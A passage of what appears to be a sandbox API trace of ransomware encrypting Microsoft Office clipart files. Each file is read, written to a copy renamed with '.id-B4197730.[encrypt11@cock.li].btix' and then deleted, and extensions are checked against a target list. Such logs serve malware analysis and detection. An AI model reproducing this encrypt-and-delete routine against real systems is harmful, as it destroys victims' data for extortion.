[0145.224] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0145.225] GetLastError () returned 0x0 [0145.225] ReadFile (in: hFile=0x3b0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x614c, lpOverlapped=0x0) returned 1 [0145.227] WriteFile (in: hFile=0x508, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x6150, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x6150, lpOverlapped=0x0) returned 1 [0145.228] ReadFile (in: hFile=0x3b0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.228] WriteFile (in: hFile=0x508, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0145.228] SetEndOfFile (hFile=0x508) returned 1 [0145.228] CloseHandle (hObject=0x508) returned 1 [0145.228] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.228] SetEndOfFile (hFile=0x3b0) returned 1 [0145.231] CloseHandle (hObject=0x3b0) returned 1 [0145.231] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.231] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf")) returned 1 [0145.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0145.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0145.232] lstrlenW (lpString=".doc") returned 4 [0145.232] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.232] lstrlenW (lpString=".docx") returned 5 [0145.232] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0145.232] lstrlenW (lpString=".pdf") returned 4 [0145.232] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.232] lstrlenW (lpString=".xls") returned 4 [0145.232] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.232] lstrlenW (lpString=".xlsx") returned 5 [0145.232] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0145.232] lstrlenW (lpString=".ppt") returned 4 [0145.232] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0145.232] lstrlenW (lpString=".zip") returned 4 [0145.232] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.232] lstrlenW (lpString=".rar") returned 4 [0145.232] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.232] lstrlenW (lpString=".bz2") returned 4 [0145.232] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.232] lstrlenW (lpString=".7z") returned 3 [0145.232] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0145.232] lstrlenW (lpString=".dbf") returned 4 [0145.232] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0145.232] lstrlenW (lpString=".1cd") returned 4 [0145.232] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0145.232] lstrlenW (lpString=".jpg") returned 4 [0145.232] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0145.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0145.233] lstrlenW (lpString=".doc") returned 4 [0145.233] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.233] lstrlenW (lpString=".docx") returned 5 [0145.233] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0145.233] lstrlenW (lpString=".pdf") returned 4 [0145.233] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.233] lstrlenW (lpString=".xls") returned 4 [0145.233] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.233] lstrlenW (lpString=".xlsx") returned 5 [0145.233] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0145.233] lstrlenW (lpString=".ppt") returned 4 [0145.233] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0145.233] lstrlenW (lpString=".zip") returned 4 [0145.233] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.233] lstrlenW (lpString=".rar") returned 4 [0145.233] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.233] lstrlenW (lpString=".bz2") returned 4 [0145.233] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.233] lstrlenW (lpString=".7z") returned 3 [0145.233] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0145.233] lstrlenW (lpString=".dbf") returned 4 [0145.233] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0145.233] lstrlenW (lpString=".1cd") returned 4 [0145.233] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0145.233] lstrlenW (lpString=".jpg") returned 4 [0145.233] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.234] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0145.234] lstrlenW (lpString="J0107182.WMF") returned 12 [0145.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0145.234] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=16100) returned 1 [0145.234] CloseHandle (hObject=0x3b0) returned 1 [0145.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf")) returned 0x220 [0145.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0145.235] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.235] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0145.235] GetLastError () returned 0x0 [0145.235] ReadFile (in: hFile=0x3b0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x3ee4, lpOverlapped=0x0) returned 1 [0145.450] WriteFile (in: hFile=0x508, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x3ef0, lpOverlapped=0x0) returned 1 [0145.451] ReadFile (in: hFile=0x3b0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.451] WriteFile (in: hFile=0x508, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0145.451] SetEndOfFile (hFile=0x508) returned 1 [0145.451] CloseHandle (hObject=0x508) returned 1 [0145.451] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.451] SetEndOfFile (hFile=0x3b0) returned 1 [0145.453] CloseHandle (hObject=0x3b0) returned 1 [0145.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.453] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf")) returned 1 [0145.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0145.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0145.454] lstrlenW (lpString=".doc") returned 4 [0145.454] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.454] lstrlenW (lpString=".docx") returned 5 [0145.454] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0145.454] lstrlenW (lpString=".pdf") returned 4 [0145.454] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.454] lstrlenW (lpString=".xls") returned 4 [0145.454] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.454] lstrlenW (lpString=".xlsx") returned 5 [0145.454] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0145.454] lstrlenW (lpString=".ppt") returned 4 [0145.454] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0145.455] lstrlenW (lpString=".zip") returned 4 [0145.455] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.455] lstrlenW (lpString=".rar") returned 4 [0145.455] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.455] lstrlenW (lpString=".bz2") returned 4 [0145.455] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.455] lstrlenW (lpString=".7z") returned 3 [0145.455] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0145.455] lstrlenW (lpString=".dbf") returned 4 [0145.455] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0145.455] lstrlenW (lpString=".1cd") returned 4 [0145.455] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0145.455] lstrlenW (lpString=".jpg") returned 4 [0145.455] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0145.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0145.455] lstrlenW (lpString=".doc") returned 4 [0145.455] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.455] lstrlenW (lpString=".docx") returned 5 [0145.455] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0145.455] lstrlenW (lpString=".pdf") returned 4 [0145.455] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.455] lstrlenW (lpString=".xls") returned 4 [0145.455] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.455] lstrlenW (lpString=".xlsx") returned 5 [0145.455] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0145.455] lstrlenW (lpString=".ppt") returned 4 [0145.455] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0145.455] lstrlenW (lpString=".zip") returned 4 [0145.455] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.455] lstrlenW (lpString=".rar") returned 4 [0145.456] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.456] lstrlenW (lpString=".bz2") returned 4 [0145.456] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.456] lstrlenW (lpString=".7z") returned 3 [0145.456] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0145.456] lstrlenW (lpString=".dbf") returned 4 [0145.456] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0145.456] lstrlenW (lpString=".1cd") returned 4 [0145.456] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0145.456] lstrlenW (lpString=".jpg") returned 4 [0145.456] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.456] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0145.456] lstrlenW (lpString="J0107290.WMF") returned 12 [0145.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0145.457] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=12308) returned 1 [0145.457] CloseHandle (hObject=0x3b0) returned 1 [0145.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf")) returned 0x220 [0145.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0145.458] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.458] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0145.458] GetLastError () returned 0x0 [0145.458] ReadFile (in: hFile=0x3b0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x3014, lpOverlapped=0x0) returned 1 [0145.466] WriteFile (in: hFile=0x508, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x3020, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x3020, lpOverlapped=0x0) returned 1 [0145.467] ReadFile (in: hFile=0x3b0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.467] WriteFile (in: hFile=0x508, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0145.467] SetEndOfFile (hFile=0x508) returned 1 [0145.467] CloseHandle (hObject=0x508) returned 1 [0145.467] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.467] SetEndOfFile (hFile=0x3b0) returned 1 [0145.470] CloseHandle (hObject=0x3b0) returned 1 [0145.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.470] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf")) returned 1 [0145.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0145.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0145.471] lstrlenW (lpString=".doc") returned 4 [0145.471] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.471] lstrlenW (lpString=".docx") returned 5 [0145.471] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0145.471] lstrlenW (lpString=".pdf") returned 4 [0145.471] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.471] lstrlenW (lpString=".xls") returned 4 [0145.471] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.471] lstrlenW (lpString=".xlsx") returned 5 [0145.471] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0145.471] lstrlenW (lpString=".ppt") returned 4 [0145.471] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0145.471] lstrlenW (lpString=".zip") returned 4 [0145.471] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.471] lstrlenW (lpString=".rar") returned 4 [0145.471] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.471] lstrlenW (lpString=".bz2") returned 4 [0145.471] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.471] lstrlenW (lpString=".7z") returned 3 [0145.471] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0145.471] lstrlenW (lpString=".dbf") returned 4 [0145.471] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0145.472] lstrlenW (lpString=".1cd") returned 4 [0145.472] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0145.472] lstrlenW (lpString=".jpg") returned 4 [0145.472] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.472] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=2460) returned 1 [0145.472] CloseHandle (hObject=0x3b0) returned 1 [0145.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf")) returned 0x220 [0145.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0145.473] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.473] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0145.473] GetLastError () returned 0x0 [0145.473] ReadFile (in: hFile=0x3b0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x99c, lpOverlapped=0x0) returned 1 [0145.475] WriteFile (in: hFile=0x508, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x9a0, lpOverlapped=0x0) returned 1 [0145.476] ReadFile (in: hFile=0x3b0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.476] WriteFile (in: hFile=0x508, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0145.476] SetEndOfFile (hFile=0x508) returned 1 [0145.476] CloseHandle (hObject=0x508) returned 1 [0145.476] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.476] SetEndOfFile (hFile=0x3b0) returned 1 [0145.478] CloseHandle (hObject=0x3b0) returned 1 [0145.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.478] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf")) returned 1 [0145.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0145.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0145.481] lstrlenW (lpString=".doc") returned 4 [0145.481] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.481] lstrlenW (lpString=".docx") returned 5 [0145.481] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0145.481] lstrlenW (lpString=".pdf") returned 4 [0145.481] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.481] lstrlenW (lpString=".xls") returned 4 [0145.481] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.481] lstrlenW (lpString=".xlsx") returned 5 [0145.482] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0145.482] lstrlenW 